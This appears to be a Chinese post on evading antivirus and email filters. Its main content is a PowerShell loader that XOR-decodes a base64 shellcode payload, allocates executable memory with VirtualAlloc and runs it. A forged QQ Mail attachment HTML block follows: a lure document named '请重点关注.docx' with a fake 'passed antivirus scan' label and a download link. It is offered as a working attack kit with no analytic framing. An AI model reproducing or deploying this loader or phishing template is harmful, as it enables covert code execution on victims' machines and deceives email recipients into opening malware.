FTP免杀绕过杀软及钓鱼绕过邮箱检测

Set-StrictMode -Version 2functionfunc_get_proc_address {    Param ($var_module, $var_procedure)    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))}functionfunc_get_delegate_type {    Param (        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,        [Parameter(Position = 1)] [Type] $var_return_type = [Void]    )    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')    return $var_type_builder.CreateType()}If ([IntPtr]::size -eq 8) {    [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJimwQAIyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDG1scE4jl9Q3hXUp9fRPVuH9WbLKaN5se7tMT0BlgZmvrcV+r0ShkTdH7utkonxfe3WIQe0cnI81osMHlBnLqkANbcvDHmoDWPW4ijtdkiN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMSEw0TGAN0Sk1HTFRQA213AxUNERgDdGx0FRcYA3dRSkdGTVcMFQ0TGANuZ2dgaXAKLikjfAiAg8dneFKGrLsYCuWdjdV1/ptJ5kNO+WalmZzRsV4+GAkWP30YK6xYlyKG64vWQKLAhFoj/pW0ErF9pza6oeo+VDl5muWs199sZPwWUka6a8xXniyuZ0sbBOCaeyBimRQe4V/luHMsc9E+88AvBRHifeJGRA8VSRvSKYuxwPtuZLcZ10h8H2IzGBCqN6aufowjyVYEFuHI6gwkdrL/pGs+gRpRjdLLbzdKrR+DUzsxVHgNKlG09JK2Tcr2k7aTx7sylWY9CwkUJHdM1vJYa9ojYp3TloF13PZrEuqZIyNjI2KbIzMjI2KaYyMjI2KZe4dwxtz2a7BwcGuqxGuq0muq+WKbIwMjI2qq2mKZMbWqwdz2a6DnA6bjV5VFqCRrIuCm41b0e3t7ayYjIyMjc+DLvN7c3BIRFw0RERMNEBQNEhQQIxn9S5I=')    for ($x = 0; $x -lt $var_code.Count; $x++) {        $var_code[$x] = $var_code[$x] -bxor 35    }    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)    [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))    $var_runme.Invoke([IntPtr]::Zero)}

<divid="qm_con_body"><divid="mailContentContainer"class="qmbox qm_con_body_content qqmail_webmail_only"style="opacity: 1;"><divid="attachment"a=""b="false"style="padding:2px;"class="attbg"ui-type="attCon"><divstyle="padding:6px 10px 10px 8px;"class="txt_left"><divstyle="height:14px;"><bstyle="font-size:14px;"><imgsrc="https://rescdn.qqmail.com/zh_CN/htmledition/images/spacer1e9c5d.gif"align="absmiddle"class="ico_att showattch"border="0"style="margin:-3px 2px 0 0;">附件</b>(<spanid="attachmentCount">1</span> 个)</div></div><divstyle="padding:0 8px 6px 12px;background:#fff;_height:60px;line-height:140%;"><divclass="graytext clear"style="padding-top:12px; padding-bottom:5px"><spanstyle="color:#000;font-weight:bold;font-size:12px;">普通附件</span><spanid="span_ZL0012_1yrN1r~M_twu3KkAAIjVLc5_safe"> (<spanclass="ico_Avira"></span>已通过电脑管家云查杀引擎扫描)</span></div><divclass="att_bt attachitem"><divclass="ico_big"><aid="AttachIconAZL0012_1yrN1r~M_twu3KkAAIjVLc50"attach="1"attid="请重点关注.docx"viewmode="doc"url="/cgi-bin/viewdocument?sid=lGnwl-6PmrgMcwZk&amp;amp;filename=1.docx&amp;mailid=1&amp;retry=true&amp;t=attachments_content&amp;ef=qfunc&amp;s=yozo&amp;fromattach=1"ck="previewAttach2"idx="0"filename="请重点关注.docx"down="/cgi-bin/download?mailid=1&amp;filename=1.doc"iconurl="/zh_CN/htmledition/images/xdisk/ico_mid/fu_doc.gif"filebyte="15360"sparse2onlinedocurl=""><imgstyle="width:auto;"src="/zh_CN/htmledition/images/xdisk/ico_mid/fu_doc.gif"></a></div><divclass="name_big"><spanplayer="/cgi-bin/download?mailid=1&amp;filename=1.docx&amp;sid=1">请重点关注.docx</span><spanclass="graytext">&nbsp;(15K<spanid="span_attachIndex_ZL0012_1yrN1r~M_twu3KkAAIjVLc5_cd690305b12fa8de1acdd0ee2fc76181"style="display:none">, <spanstyle="color: #C00;">附件包含病毒，请勿下载打开 </span></span>)</span><divclass="down_big"><ack="previewAttach"select="1"sparse2onlinedocurl=""down="/cgi-bin/download?mailid=1&amp;filename=1.docx&amp;sid=1">预览</a>&nbsp;<ahref="github地址">下载</a>&nbsp;&nbsp;<astyle=""flag="0"class="needSetFlag"attachkey="1|1.docx|1.docx|15360"><span>收藏</span></a><spanstyle="display:none;"class="graytext"><span>已收藏, </span><a>查看</a></span>&nbsp;&nbsp;<aui-type="netdiskBind"attid="1|1|1"class="netdisk_hide"><span>转存</span><spanclass="bind_down_icon"></span></a></div></div></div></div></div></div></div>